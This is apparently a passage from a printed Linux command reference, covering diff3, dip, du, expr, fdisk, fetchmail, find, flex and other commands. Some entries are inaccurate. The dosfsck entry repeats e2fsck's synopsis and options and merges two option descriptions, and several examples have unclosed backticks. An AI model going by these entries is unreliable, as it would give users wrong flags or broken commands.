For directory comparisons, begin with the file filename, skipping files that come earlier in the standard list order.

--suppress-common-lines

For two-column output (-y), do not show common lines.

-t, --expand-tabs

Produce output with tabs expanded to spaces.

-T, --initial-tab

Insert initial tabs into output to line up tabs properly.

-u

Unified diff: print old and new versions of lines in a single block, with 3 lines surrounding each block of changed lines.

-U n, --unified[=n]

Unified diff: print old and new versions of lines in a single block, with n lines surrounding each block of changed lines. The default context is 3 lines.

-v, --version

Print version number of this version of diff.

-w, --ignore-all-space

Ignore all whitespace in files for comparisons.

-W n, --width=n

For two-column output (-y), produce columns with a maximum width of n characters. Default is 130.

-x regexp, --exclude=regexp

Do not compare files in a directory whose names match regexp.

-X filename, --exclude-from=filename

Do not compare files in a directory whose names match patterns described in the file filename.

-y, --side-by-side

Produce two-column output.

-n

For context and unified diff, print n lines of context. Same as specifying a number with -C or -U.

diff3

diff3 [options] file1 file2 file3

Compare 3 files and report the differences. No more than one of the files may be given as - (indicating that it is to be read from standard input). The output is displayed with the following codes:

====

All three files differ.

====1

file1 is different.

====2

file2 is different.

====3

file3 is different.

diff3 is also designed to merge changes in two differing files based on a common ancestor file (i.e., when two people have made their own set of changes to the same file). diff3 can find changes between the ancestor and one of the newer files and generate output that adds those differences to the other new file. Unmerged changes are places where both of the newer files differ from each other and at least one of them from the ancestor. Changes from the ancestor that are the same in both of the newer files are called merged changes. If all three files differ in the same place, it is called an overlapping change.

This scheme is used on the command line with the ancestor being file2, the second filename. Comparison is made between file2 and file3, with those differences then applied to file1.

Options

-3, --easy-only

Create an ed script to incorporate into file1 unmerged, nonoverlapping differences between file1 and file3.

-a, --text

Treat files as text.

-A, --show-all

Create an ed script to incorporate all changes, showing conflicts in bracketed format.

-e, --ed

Create an ed script to incorporate into file1 all unmerged differences between file2 and file3.

-E, --show-overlap

Create an ed script to incorporate unmerged changes, showing conflicts in bracketed format.

-x, --overlap-only

Create an ed script to incorporate into file1 all differences where all three files differ (overlapping changes).

-X

Same as -x, but show only overlapping changes, in bracketed format.

-m, --merge

Create file with changes merged (not an ed script).

-L label, --label=label

Use label to replace filename in output.

-i

Append the w (save) and q (quit) commands to ed script output.

-T, --initial-tab

Begin lines with a tab instead of two spaces in output to line tabs up properly.

-v, --version

Print version information and then exit.
dip

dip [options] [chat scriptfile]

System administration command. Set up or initiate dial-up Internet connections. dip can be used to establish connections for users dialing out or dialing in. Commands can be used in interactive mode or placed in a script file for use in dial-out connections. To establish dial-in connections, dip is often is used as a shell and may be executed using the commands diplogin or diplogini.

Options

-a

In dial-in mode, prompt for username and password. Same as the diplogini command.

-i

Initiate a login shell for a dial-in connection. Same as the diplogin command.

-k

Kill the most recent dip process or the process running on the device specified by the -l option.

-l device

Used with the -k option. Specifies a tty device.

-m mtu

Maximum Transfer Unit. The default is 296.

-p protocol

The protocol to use: SLIP, CSLIP, PPP, or TERM.

-t

Command mode. This is usually done for testing.

-v

Verbose mode.

Commands

Most of these commands can be used either in interactive mode or in a script file.

beep times

Beep the terminal the specified number of times.

bootp

Retrieve local and remote IP addresses using the BOOTP protocol.

break

Send a BREAK.

chatkey keyword code

Map a modem response keyword to a numeric code.

config [interface|routing] [pre|up|down|post] arguments

Modify interface characteristics or the routing table, before the link comes up, when it is up, when it goes down, or after it is down. The syntax for arguments is the same as arguments for the ifconfig or route commands.

databits 7|8

Set the number of data bits.

dec $variable [value]

Decrement $variable by value. The default is 1.

default

Set default route to the IP address of the host connected to.

dial phonenumber [timeout]

Dial phonenumber. Abort if remote modem doesn't answer within timeout seconds. Set $errlvl according to the modem response.

echo on|off

Enable or disable the display of modem commands.

exit [n]

Exit the script. Optionally return the number n as the exit status.

flush

Clear the input buffer.

get $variable [ask|remote [timeout]] value

Set $variable to value. If ask is specified, prompt the user for a value. If remote is specified, retrieve the value from the remote system. Abort after timeout seconds.

goto label

Jump to the section identified by label.

help

List available commands.

if expr goto label

Jump to the section identified by label if the expression evaluates to true. An expression compares a variable to a constant using one of these operators: =, !=, <, >, <=, or >=.

inc $variable [value]

Increment $variable by value. The default is 1.

init string

Set the string used to initialize the modem. The default is ATE0 Q0 V1 X1.

mode protocol

Set the connection protocol. Valid values are SLIP, CSLIP, PPP, and TERM. The default is SLIP.

netmask mask

Set the subnet mask.

parity E|O|N

Set the line parity to even, odd, or none.

password

Prompt user for password.

proxyarp

Install a proxy ARP entry in the local ARP table.

print $variable

Display the content of $variable.

psend command

Execute command in a shell, and send output to the serial device. Commands are executed using the user's real UID.

port device

Specify the serial device the modem is attached to.

quit

Exit with a nonzero exit status. Abort the connection.

reset

Reset the modem.

securid

Prompt user for the variable part of an ACE System SecureID password and send it together with the stored prefix to the remote system.

securidf prefix

Store the fixed part of an ACE System SecureID password.

send string

Send string to the serial device.

shell command

Execute command in a shell using the user's real UID.

skey [timeout]

Wait for an S/Key challenge, then prompt user for the secret key. Generate and send the response. Abort if challenge is not received within timeout seconds. S/Key support must be compiled into dip.

sleep time

Wait time seconds.

speed bits-per-second

Set the port speed. Default is 38400.

stopbits 1|2

Set the number of stop bits.

term

Enable terminal mode. Pass keyboard input directly to the serial device.

timeout time

Set the number of seconds the line can be inactive before the link is closed.

wait text [timeout]

Wait timeout seconds for text to arrive from the remote system. If timeout is not specified, wait forever.

dirname

dirname pathname

Print pathname excluding the last level. Useful for stripping the actual filename from a pathname. If there are no slashes (no directory levels) in pathname, dirname prints . to indicate the current directory. See also basename.

dmesg

dmesg [options]

System administration command. Display the system control messages from the kernel ring buffer. This buffer stores all messages since the last system boot or the most recent ones, if the buffer has been filled.

Options

-c

Clear buffer after printing messages.

-n level

Set the level of system message that will display on console.

dnsdomainname

dnsdomainname

TCP/IP command. Print the system's DNS domain name. See also hostname.

domainname

domainname [name]

NFS/NIS command. Set or display name of current NIS domain. With no argument, domainname displays the name of the current NIS domain. Only a privileged user can set the domain name by giving an argument; this is usually done in a startup script.

dosfsck

dosfsck [options] device

fsck.ext2 [options] device

System administration command. Similar to fsck, but specifically intended for MS-DOS filesystems. When checking an MS-DOS filesystem, fsck calls this command. Normally dosfsck stores all changes in memory, then writes them when checks are complete.

Options

-a

Automatically repair the system; do not prompt the user.

-A

Use the Atari version of the MS-DOS filesystem.

-d file

Drop the named file from the file allocation table. Force checking, even if kernel has already marked the filesystem as valid. dosfsck will normally exit without checking if the system appears to be clean.

-l file

Consult file for a list of bad blocks, in addition to checking for others.

-n

Ensure that no changes are made to the filesystem. When queried, answer "no."

-p

"Preen." Repair all bad blocks noninteractively.

-t

Display timing statistics.

-v

Verbose.

-y

When queried, answer "yes."

-B size

Expect to find the superblock at size; if it's not there, exit.

-F

Flush buffer caches before checking.

-L file

Consult file for list of bad blocks instead of checking filesystem for them.

du

du [options] [directories]

Print disk usage (as the number of 1KB blocks used by each named directory and its subdirectories; default is current directory).

Options

-a, --all

Print usage for all files, not just subdirectories.

-b, --bytes

Print sizes in bytes.

-c, --total

In addition to normal output, print grand total of all arguments.

-D, --dereference-args

Follow symbolic links, but only if they are command-line arguments.

-h, --human-readable

Print sizes in human-reader-friendly format.

-H, --si

Like -h, but show as power of 1000 rather than 1024.

-k, --kilobytes

Print sizes in kilobytes (this is the default).

-l, --count-links

Count the size of all files, whether or not they have already appeared (i.e., via a hard link).

-L, --dereference

Follow symbolic links.

--exclude=pattern

Exclude files that match pattern.

--max-depth=num

Report sizes for directories only down to num levels below the starting point (which is level 0).

-m, --megabytes

Print sizes in megabytes.

-s, --summarize

Print only the grand total for each named directory.

-S, --separate-dirs

Do not include the sizes of subdirectories when totaling the size of parent directories.

-x, --one-file-system

Display usage of files in current filesystem only.

-X, --exclude-from=file

Exclude files that match any pattern in file.

--help

Print help message and then exit.

--version

Print the version and then exit.

dumpe2fs

dumpe2fs device

System administration command. Print information about device's superblock and blocks group.

dumpkeys

dumpkeys [options]

Print information about the keyboard driver's translation tables to standard output. Further information is available in the manual pages under keytables.

Options

-1, --separate-lines

Print one line for each modifier/keycode pair and prefix plain to each unmodified keycode.

-c charset, --charset=charset

Specify character set with which to interpret character code values. The default character set is iso-8859-1. The full list of valid character sets is available with the --help option.

--compose-only

Print compose key combinations only. Requires compose key support in the kernel.

-f, --full-table

Output in canonical, not short, form: for each key, print a row with modifier combinations divided into columns.

--funcs-only

Print function key string definitions only; do not print key bindings or string definitions.

-h, --help

Print help message and the version.

-i, --short-info

Print in short-info format, including information about acceptable keycode keywords in the keytable files; the number of actions that can be bound to a key; a list of the ranges of action codes (the values to the right of a key definition); and the number of function keys that the kernel supports.

--keys-only

Print key bindings only; do not print string definitions.

-l, --long-info

Print the same information as in --short-info, plus a list of the supported action symbols and their numeric values.

-n, --numeric

Print action code values in hexadecimal notation; do not attempt to convert them to symbolic notation.

-S num, --shape=num

Print using num to determine table shape. Values of num are:

0

Default

1

Same as --full-table

2

Same as --separate-lines

3

One line for each keycode up to the first hole, then one line per modifier/keycode pair

e2fsck

e2fsck [options] device

fsck.ext2 [options] device

System administration command. Similar to fsck, but specifically intended for Linux Second Extended Filesystems. When checking a second extended filesystem, fsck calls this command.

Options

-b superblock

Use superblock instead of default superblock.

-d

Debugging mode.

-f

Force checking, even if kernel has already marked the filesystem as valid. e2fsck will normally exit without checking if the system appears to be clean.

-l file

Consult file for a list of bad blocks, in addition to checking for others.

-n

Ensure that no changes are made to the filesystem. When queried, answer "no."

-p

"Preen." Repair all bad blocks noninteractively.

-t

Display timing statistics.

-v

Verbose.

-y

When queried, answer "yes."

-B size

Expect to find the superblock at size; if it's not there, exit.

-F

Flush buffer caches before checking.

-L file

Consult file for list of bad blocks instead of checking filesystem for them.

echo

echo [-n] [string]

This is the /bin/echo command. echo also exists as a command built into the C shell and bash. The following character sequences have special meanings:

\a

Alert (bell)

\b

Backspace

\c

Suppress trailing newline

\f

Form feed

\n

Newline

\r

Carriage return

\t

Horizontal tab

\v

Vertical tab

\\

Literal backslash

\nnn

The octal character whose ASCII code is nnn.

Options

-e

Enable character sequences with special meaning. (In some versions, this option is not required in order to make the sequences work.)

-E

Disable character sequences with special meaning.

-n

Suppress printing of newline after text.

--help

Print help message and then exit.

--version

Print version information and then exit.

Examples

/bin/echo "testing printer" | lp
/bin/echo "TITLE\nTITLE" > file ; cat doc1 doc2 >> file
/bin/echo "Warning: ringing bell \a"
egrep

egrep [options] [regexp] [files]

Search one or more files for lines that match an extended regular expression regexp. egrep doesn't support the regular expressions \(, \), \n, \<, \>, \{, or \} but does support the other expressions, as well as the extended set +, ?, |, and ( ). Remember to enclose these characters in quotes. Regular expressions are described in Chapter 9, "Pattern Matching". Exit status is 0 if any lines match, 1 if none match, and 2 for errors.

See grep for the list of available options. Also see fgrep. egrep typically runs faster than those commands.

Examples

Search for occurrences of Victor or Victoria in file:

egrep 'Victor(ia)*' file
egrep '(Victor|Victoria)' file

Find and print strings such as old.doc1 or new.doc2 in files, and include their line numbers:

egrep -n '(old|new)\.doc?' files
emacs

emacs [options] [files]

A text editor and all-purpose work environment. For more information, see Chapter 10, "The Emacs Editor".

env

env [option] [variable=value ... ] [command]

Display the current environment or, if an environment variable is specified, set it to a new value and display the modified environment. If command is specified, execute it under the modified environment.

Options

-, -i, --ignore-environment

Ignore current environment entirely.

-u name, --unset name

Unset the specified variable.

--help

Print help message and then exit.

--version

Print version information and then exit.

etags

etags [options] files

Create a list of function and macro names that are defined in the specified C, Pascal, FORTRAN, yacc, or flex source files. The output list (named tags by default) contains lines of the form:

name     file     context

where name is the function or macro name, file is the source file in which name is defined, and context is a search pattern that shows the line of code containing name. After the list of tags is created, you can invoke Emacs on any file and type:

ESC-x visit-tags-table

You will be prompted for the name of the tag table; the default is TAGS. To switch to the source file associated with the name listed in tagsfile, type:

ESC-x find-tag

You will be prompted for the tag you would like Emacs to search for. ctags produces an equivalent tags file for use with vi.

Options

-a, --append

Append tag output to existing list of tags.

-d, --defines

Include tag entries for C preprocessor definitions.

-i file, --include=file

Add a note to the tags file that file should be consulted in addition to the normal input file.

-l language, --language=language

Consider the files that follow this option to be written in language. Use the -h option for a list of languages and their default filename extensions.

-o file, --output=file

Write to file.

-r regexp, --regex=regexp

Include a tag for each line that matches regexp in the files following this option.

-C, --c++

Expect .c and .h files to contain C++, not C, code.

-D, --no-defines

Do not include tag entries for C preprocessor definitions.

-H, -h, --help

Print usage information.

-R, --noregex

Don't include tags based on regular-expression matching for the files that follow this option.

-S, --ignore-indentation

Normally etags uses indentation to parse the tag file; this option tells it to rely on it less.

-V, --version

Print the version number.

ex

ex [options] file

An interactive command-based editor. For more information, see Chapter 11, "The vi Editor".

expand

expand [options] files

Convert tabs in given files (or standard input, if the file is named -) to appropriate number of spaces; write results to standard output.

Options

-tabs, -t, --tabs tabs

tabs is a comma-separated list of integers that specify the placement of tab stops. If exactly one integer is provided, the tab stops are set to every integer spaces. By default, tab stops are 8 spaces apart. With -t and --tabs, the list may be separated by whitespace instead of commas.

-i, --initial

Convert tabs only at the beginning of lines.

--help

Print help message and then exit.

--version

Print version information and then exit.

expr

expr arg1 operator arg2 [ operator arg3 ... ]

Evaluate arguments as expressions and print the result. Arguments and operators must be separated by spaces. In most cases, an argument is an integer, typed literally or represented by a shell variable. There are three types of operators: arithmetic, relational, and logical, as well as keyword expressions. Exit status for expr is 0 (expression is nonzero and nonnull), 1 (expression is 0 or null), or 2 (expression is invalid).

Arithmetic operators

Use these to produce mathematical expressions whose results are printed:

+

Add arg2 to arg1.

-

Subtract arg2 from arg1.

*

Multiply the arguments.

/

Divide arg1 by arg2.

%

Take the remainder when arg1 is divided by arg2.

Addition and subtraction are evaluated last, unless they are grouped inside parentheses. The symbols *, (, and ) have meaning to the shell, so they must be escaped (preceded by a backslash or enclosed in single quotes).

Relational operators

Use these to compare two arguments. Arguments can also be words, in which case comparisons are defined by the locale. If the comparison statement is true, the result is 1; if false, the result is 0. Symbols > and < must be escaped.

=, ==

Are the arguments equal?

!=

Are the arguments different?

>

Is arg1 greater than arg2?

>=

Is arg1 greater than or equal to arg2?

<

Is arg1 less than arg2?

<=

Is arg1 less than or equal to arg2?

Logical operators

Use these to compare two arguments. Depending on the values, the result can be arg1 (or some portion of it), arg2, or 0. Symbols | and & must be escaped.

|

Logical OR; if arg1 has a nonzero (and nonnull) value, the result is arg1; otherwise, the result is arg2.

&

Logical AND; if both arg1 and arg2 have a nonzero (and nonnull) value, the result is arg1; otherwise, the result is 0.

:

Like grep; arg2 is a pattern to search for in arg1. arg2 must be a regular expression. If part of the arg2 pattern is enclosed in \( \), the result is the portion of arg1 that matches; otherwise, the result is simply the number of characters that match. By default, a pattern match always applies to the beginning of the first argument (the search string implicitly begins with a ^). Start the search string with .* to match other parts of the string.

Keywords

index string character-list

Return the first position in string that matches the first possible character in character-list. Continue through character-list until a match is found, or return 0.

length string

Return the length of string.

match string regex

Same as string : regex.

quote token

Treat token as a string, even if it would normally be a keyword or an operator.

substr string start length

Return a section of string, beginning with start, with a maximum length of length characters. Return null when given a negative or nonnumeric start or length.

Examples

Division happens first; result is 10:

expr 5 + 10 / 2

Addition happens first; result is 7 (truncated from 7.5):

expr \( 5 + 10 \) / 2

Add 1 to variable i. This is how variables are incremented in shell scripts:

i=`expr $i + 1

Print 1 (true) if variable a is the string "hello":

expr $a = hello

Print 1 (true) if b plus 5 equals 10 or more:

expr $b + 5 \>= 10

Find the 5th, 6th, and 7th letters of the word character:

expr substr character 5 3

In the examples that follow, variable p is the string "version.100". This command prints the number of characters in p:

expr $p : '.*'           Result is 11

Match all characters and print them:

expr $p : '\(.*\)'       Result is "version.100"

Print the number of lowercase letters at the beginning of p:

expr $p : '[a-z]*'       Result is 7

Match the lowercase letters at the beginning of p:

expr $p : '\([a-z]*\)'   Result is "version"

Truncate $x if it contains five or more characters; if not, just print $x. (Logical OR uses the second argument when the first one is 0 or null; i.e., when the match fails.)

expr $x : '\(.....\)' \| $x

In a shell script, rename files to their first five letters:

mv $x `expr $x : '\(.....\)' \| $x

(To avoid overwriting files with similar names, use mv -i.)

false

false

A null command that returns an unsuccessful (nonzero) exit status. Normally used in bash scripts. See also true.

fdformat

fdformat [options] device

Low-level format of a floppy disk. The device for a standard format is usually /dev/fd0 or /dev/fd1.

Option

-n

Do not verify format after completion.

fdisk

fdisk [options] [device]

System administration command. Maintain disk partitions via a menu. fdisk displays information about disk partitions, creates and deletes disk partitions, and changes the active partition. It is possible to assign a different operating system to each of the four partitions, though only one partition is active at any given time. You can also divide a physical partition into several logical partitions. The minimum recommended size for a Linux system partition is 40MB. Normally, device will be /dev/hda, /dev/hdb, /dev/sda, /dev/sdb, /dev/hdc, /dev/hdd, and so on. See also cfdisk.

Options

-l

List partition tables and exit.

-s partition

Display the size of partition, unless it is a DOS partition.

Commands

a

Toggle a bootable flag on current partition.

d

Delete current partition.

l

List all partition types.

m

Main menu.

n

Create a new partition; prompt for more information.

p

Print a list of all partitions and information about each.

q

Quit; do not save.

t

Replace the type of the current partition.

u

Modify the display/entry units, which must be cylinders or sectors.

v

Verify: check for errors; display a summary of the number of unallocated sectors.

w

Save changes; exit.

fetchmail

fetchmail [options] [servers...]

System administration command. Retrieve mail from mail servers and forward it to the local mail delivery system. fetchmail retrieves mail from servers that support the common mail protocols POP2, POP3, IMAP2bis, and IMAP4. Messages are delivered via SMTP through port 25 on the local host and through your system's mail delivery agent (such as sendmail), where they can be read through the user's mail client. fetchmail settings are stored in the ~/.fetchmailrc file. Parameters and servers can also be set on the command line, which will override settings in the .fetchmailrc file. fetchmail is compatible with the popclient program, and users can use both without having to adjust file settings.

Options

-a, --all

Retrieve all messages from server, even ones that have already been seen but left on the server. The default is to only retrieve new messages.

-A type, --auth type

Specify the type of authentication. type may be: password, kerberos_v5, or kerberos. Authentication type is usually established by fetchmail by default, so this option isn't very useful.

-B n, --fetchlimit n

Set the maximum number of messages (n) accepted from a server per query.

-b n, --batchlimit n

Set the maximum number of messages sent to an SMTP listener per connection. When this limit is reached, the connection will be broken and reestablished. The default of 0 means no limit.

-c, --check

Check for mail on a single server without retrieving or deleting messages. Works with IMAP but not well with other protocols, if at all.

-D [domain], --smtpaddress [domain]

Specify the domain name placed in RCPT TO lines sent to SMTP. The default is the local host.

-E header, --envelope header

Change the header assumed to contain the mail's envelope address (usually "X-Envelope-to:") to header.

-e n, --expunge n

Tell an IMAP server to EXPUNGE (i.e., purge messages marked for deletion) after n deletes. A setting of 0 indicates expunging only at the end of the session. Normally, an expunge occurs after each delete.

-F, --flush

For POP3 and IMAP servers, remove previously retrieved messages from the server before retrieving new ones.

-f file, --fetchmailrc file

Specify a nondefault name for the fetchmail configuration file.

-I specification, --interface specification

Require that the mail server machine is up and running at a specified IP address (or range) before polling. The specification is given as interface/ipaddress/mask. The first part indicates the type of TCP connection expected (sl0, ppp0, etc.), the second is the IP address, and the third is the bit mask for the IP, assumed to be 255.255.255.255.

-K, --nokeep

Delete all retrieved messages from the mail server.

-k, --keep

Keep copies of all retrieved messages on the mail server.

-l size, --limit size

Set the maximum message size that will be retrieved from a server. Messages larger than this size will be left on the server and marked unread.

-M interface, --monitor interface

In daemon mode, monitor the specified TCP/IP interface for any activity besides itself, and skip the poll if there is no other activity. Useful for PPP connections that automatically time out with no activity.

-m command, --mda command

Pass mail directly to mail delivery agent, rather than send to port 25. The command is the path and options for the mailer, such as /usr/lib/sendmail -oem. A %T in the command will be replaced with the local delivery address, and an %F will be replaced with the message's From address.

-n, --norewrite

Do not expand local mail IDs to full addresses. This option will disable expected addressing and should only be used to find problems.

-P n, --port n

Specify a port to connect to on the mail server. The default port numbers for supported protocols are usually sufficient.

-p proto, --protocol proto

Specify the protocol to use when polling a mail server. proto can be:

POP2

Post Office Protocol 2.

POP3

Post Office Protocol 3.

APOP

POP3 with MD5 authentication.

RPOP

POP3 with RPOP authentication.

KPOP

POP3 with Kerberos v4 authentication on port 1109.

IMAP

IMAP2bis, IMAP4, or IMAP4rev1. fetchmail autodetects their capabilities.

IMAP-K4

IMAP4 or IMAP4rev1 with Kerberos v4 authentication.

IMAP-GSS

IMAP4 or IMAP4rev1 with GSSAPI authentication.

ETRN

ESMTP.

-Q string, --qvirtual string

Remove the prefix string, which is the local user's hostid, from the address in the envelope header (such as "Delivered-To:").

-r folder, --folder folder

Retrieve the specified mail folder from the mail server.

-s, --silent

Suppress status messages during a fetch.

-U, --uidl

For POP3, track the age of kept messages via unique ID listing.

-u name, --username name

Specify the user name to use when logging into the mail server.

-V, --version

Print the version information for fetchmail and display the options set for each mail server. Performs no fetch.

-v, --verbose

Display all status messages during a fetch.

-Z nnn, --antispam nnn

Specify the SMTP error nnn to signal a spam block from the client. If nnn is -1, this option is disabled.

fgrep

fgrep [options] pattern [files]

Search one or more files for lines that match a literal text string pattern. Exit status is 0 if any lines match, 1 if not, and 2 for errors.

See grep for the list of available options. Also see egrep.

Examples

Print lines in file that don't contain any spaces:

fgrep -v '' file

Print lines in file that contain the words in spell_list:

fgrep -f spell_list file
file

file [options] files

Classify the named files according to the type of data they contain. file checks the magic file (usually /usr/share/magic) to identify some file types.

Options

-b

Brief mode; do not prepend filenames to output lines.

-c

Check the format of the magic file (files argument is invalid with -c). Usually used with -m.

-f file

Read the names of files to be checked from file.

-L

Follow symbolic links. By default, symbolic links are not followed.

-m file

Search for file types in file instead of /usr/share/magic.

-n

Flush standard output after checking a file.

-s

Check files that are block or character special files in addition to checking ordinary files.

-v

Print the version.

-z

Attempt checking of compressed files.

Many file types are understood. Output lists each filename, followed by a brief classification such as:

ascii text
c program text
c-shell commands
data
empty
iAPX 386 executable
directory
[nt]roff, tbl, or eqn input text
shell commands
symbolic link to ../usr/etc/arp

Example

List all files that are deemed to be troff/nroff input:

file * | grep roff
find

find [pathnames] [conditions]

An extremely useful command for finding particular groups of files (numerous examples follow this description). find descends the directory tree beginning at each pathname and locates files that meet the specified conditions. The default pathname is the current directory. The most useful conditions include -print (which is the default if no other expression is given), -name and -type (for general use), -exec and -size (for advanced users), and -mtime and -user (for administrators).

Conditions may be grouped by enclosing them in \( \) (escaped parentheses), negated with ! (use \! in the C shell), given as alternatives by separating them with -o, or repeated (adding restrictions to the match; usually only for -name, -type, -perm). Modification refers to editing of a file's contents. Change refers to modification, permission or ownership changes, and so on; therefore, for example, -ctime is more inclusive than -atime or -mtime.

Conditions and actions

-atime +n | -n | n

Find files that were last accessed more than n (+n), less than n (-n), or exactly n days ago. Note that find changes the access time of directories supplied as pathnames.

-ctime +n | -n | n

Find files that were changed more than n (+n), less than n (-n), or exactly n days ago. A change is anything that changes the directory entry for the file, such as a chmod.

-depth

Descend the directory tree, skipping directories and working on actual files first (and then the parent directories). Useful when files reside in unwritable directories (e.g., when using find with cpio).

-exec command { } \;

Run the Linux command, from the starting directory on each file matched by find (provided command executes successfully on that file; i.e., returns a 0 exit status). When command runs, the argument { } substitutes the current file. Follow the entire sequence with an escaped semicolon (\;).

-follow

Follow symbolic links and track the directories visited (don't use this with -type l).

-group gname

Find files belonging to group gname. gname can be a group name or a group ID number.

-inum n

Find files whose inode number is n.

-links n

Find files having n links.

-mount, -xdev

Search for files that reside only on the same filesystem as pathname.

-mtime +n | -n | n

Find files that were last modified more than n (+n), less than n (-n), or exactly n days ago. A modification is a change to a file's data.

-name pattern

Find files whose names match pattern. Filename metacharacters may be used but should be escaped or quoted.

-newer file

Find files that have been modified more recently than file; similar to -mtime. Affected by -follow only if it occurs after -follow on the command line.

-ok command { }\;

Same as -exec but prompts user to respond with y before command is executed.

-perm nnn

Find files whose permission flags (e.g., rwx) match octal number nnn exactly (e.g., 664 matches -rw-rw-r--). Use a minus sign before nnn to make a "wildcard" match of any unspecified octal digit (e.g., -perm -600 matches -rw-******, where * can be any mode).

-print

Print the matching files and directories, using their full pathnames. Return true.

-regex pattern

Like -path but uses grep-style regular expressions instead of the shell-like globbing used in -name and -path.

-size n[c]

Find files containing n blocks, or if c is specified, n characters long.

-type c

Find files whose type is c. c can be b (block special file), c (character special file), d (directory), p (fifo or named pipe), l (symbolic link), s (socket), or f (plain file).

-user user

Find files belonging to user (name or ID).

-daystart

Calculate times from the start of the day today, not 24 hours ago.

-maxdepth num

Do not descend more than num levels of directories.

-mindepth num

Begin applying tests and actions only at levels deeper than num levels.

-noleaf

Normally, find assumes that each directory has at least two hard links that should be ignored (a hard link for its name and one for "."; i.e., two fewer "real" directories than its hard link count indicates). -noleaf turns off this assumption, a useful practice when find runs on non-Unix-style filesystems. This forces find to examine all entries, assuming that some might prove to be directories into which it must descend (a time-waster on Unix).

-amin +n | -n | n

Find files last accessed more than n (+n), less than n (-n), or exactly n minutes ago.

-anewer file

Find files that were accessed after file was last modified. Affected by -follow when after -follow on the command line.

-cmin +n | -n | n

Find files last changed more than n (+n), less than n (-n), or exactly n minutes ago.

-cnewer file

Find files that were changed after they were last modified. Affected by -follow when after -follow on the command line.

-empty

Continue if file is empty. Applies to regular files and directories.

-false

Return false value for each file encountered.

-fstype type

Match files only on type filesystems. Acceptable types include minix, ext, ext2, xia, msdos, umsdos, vfat, proc, nfs, iso9660, hpfs, sysv, smb, and ncpfs.

-gid num

Find files with numeric group ID of num.

-ilname pattern

A case-insensitive version of -lname.

-iname pattern

A case-insensitive version of -name.

-ipath pattern

A case-insensitive version of -path.

-iregex pattern

A case-insensitive version of -regex.

-lname pattern

Search for files that are symbolic links, pointing to files named pattern. pattern can include shell metacharacters and does not treat / or . specially. The match is case-insensitive.

-mmin +n | -n | n

Find files last modified more than n (+n), less than n (-n), or exactly n minutes ago.

-nouser

The file's user ID does not correspond to any user.

-nogroup

The file's group ID does not correspond to any group.

-path pattern

Find files whose names match pattern. Expect full pathnames relative to the starting pathname (i.e., do not treat / or . specially).

Examples

List all files (and subdirectories) in your home directory:

find $HOME -print

List all files named chapter1 in the /work directory:

find /work -name chapter1 -print

List all files beginning with memo owned by ann:

find /work -name 'memo*' -user ann -print

Search the filesystem (begin at root) for manpage directories:

find / -type d -name 'man*' -print

Search the current directory, look for filenames that don't begin with a capital letter, and send them to the printer:

find . \! -name '[A-Z]*' -exec lpr {}\;

Find and compress files whose names don't end with .gz:

gzip `find . \! -name '*.gz' -print

Remove all empty files on the system (prompting first):

find / -size 0 -ok rm {} \;

Search the system for files that were modified within the last two days (good candidates for backing up):

find / -mtime -2 -print

Recursively grep for a pattern down a directory tree:

find /book -print | xargs grep '[Nn]utshell'

If the files kt1 and kt2 exist in the current directory, their names can be printed with the command:

$ find . -name 'kt[0-9]'
./kt1
./kt2

Since the command prints these names with an initial ./ path, you need to specify the ./ when using the -path option:

$ find . -path './kt[0-9]'
./kt1
./kt2

The -regex option uses a complete pathname, like -path, but treats the following argument as a regular expression rather than a glob pattern (although in this case the result is the same):

$ find . -regex './kt[0-9]'
./kt1
./kt2

finger

finger [options] users

Display data about one or more users, including information listed in the files .plan and .project in each user's home directory. You can specify each user either as a login name (exact match) or as a first or last name (display information on all matching names). Networked environments recognize arguments of the form user@host and @host.

Options

-l

Force long format (default): everything included by the -s option and home directory, home phone, login shell, mail status, .plan, .project, and .forward.

-m

Suppress matching of users' "real" names.

-p

Omit .plan and .project files from display.

-s

Show short format: login name, real name, terminal name, write status, idle time, office location, and office phone number.

fingerd

in.fingerd [option]

TCP/IP command. Remote user information server. fingerd provides a network interface to the finger program. It listens for TCP connections on the finger port and, for each connection, reads a single input line, passes the line to finger, and copies the output of finger to the user on the client machine. fingerd is started by inetd and must have an entry in inetd's configuration file, /etc/inetd.conf.

Option

-w

Include additional information, such as uptime and the name of the operating system.

flex

flex [options] [file]

flex (Fast Lexical Analyzer Generator) is a faster variant of lex. It generates a lexical analysis program (named lex.yy.c) based on the regular expressions and C statements contained in one or more input files. See also bison, yacc, and the O'Reilly book lex & yacc by John Levine, Tony Mason, and Doug Brown.

Options

-b

Generate backup information to lex.backup.

-d

Debug mode.

-f

Use faster compilation (limited to small programs).

-h

Help summary.

-i

Scan case-insensitively.

-l

Maximum lex compatibility.

-o file

Write output to file instead of lex.yy.c.

-p

Print performance report.

-s

Exit if the scanner encounters input that does not match any of its rules.

-t

Print to standard out. (By default, flex prints to lex.yy.c.)

-v

Print a summary of statistics.

-w

Suppress warning messages.

-B

Generate batch (noninteractive) scanner.

-F

Use the fast scanner table representation.

-I

Generate an interactive scanner (default).

-L

Suppress #line directives in lex.yy.c.

-P prefix

Change default yy prefix to prefix for all globally visible variable and function names.

-V

Print version number.

-7

Generate a 7-bit scanner.

-8

Generate an 8-bit scanner (default).

-+

Generate a C++ scanner class.

-C

Compress scanner tables but do not use equivalence classes.

-Ca

Align tables for memory access and computation. This creates larger tables but gives faster performance.

-Ce

Construct equivalence classes. This creates smaller tables and sacrifices little performance (default).

-Cf

Generate full scanner tables, not compressed.

-CF

Generate faster scanner tables, like -F.

-Cm

Construct metaequivalence classes (default).

-Cr

Bypass use of the standard I/O library. Instead use read() system calls.

fmt

fmt [options] [files]

Convert text to specified width by filling lines and removing newlines. Concatenate files on the command line, or read text from standard input if - (or no file) is specified. By default, preserve blank lines, spacing, and indentation. fmt attempts to break lines at the end of sentences and to avoid breaking lines after a sentence's first word or before its last.

Options

-c, --crown-margin

Crown margin mode. Do not change each paragraph's first two lines' indentation. Use the second line's indentation as the default for subsequent lines.

-p prefix, --prefix=prefix

Format only lines beginning with prefix.

-s, --split-only

Suppress line-joining.

-t, --tagged-paragraph

Tagged paragraph mode. Same as crown mode when the indentation of the first and second lines differs. If the indentation is the same, treat the first line as its own separate paragraph.

-u, --uniform-spacing

Print exactly one space between words and two between sentences.

-w width, --width=width

Set output width to width. The default is 75.

--help

Print help message and then exit.

--version

Print version information and then exit.

fold

fold [option] [files]

Break the lines of the named files so that they are no wider than the specified width (default is 80). fold breaks lines exactly at the specified width, even in the middle of a word. Reads from standard input when given - as a file.

Options

-b, --bytes

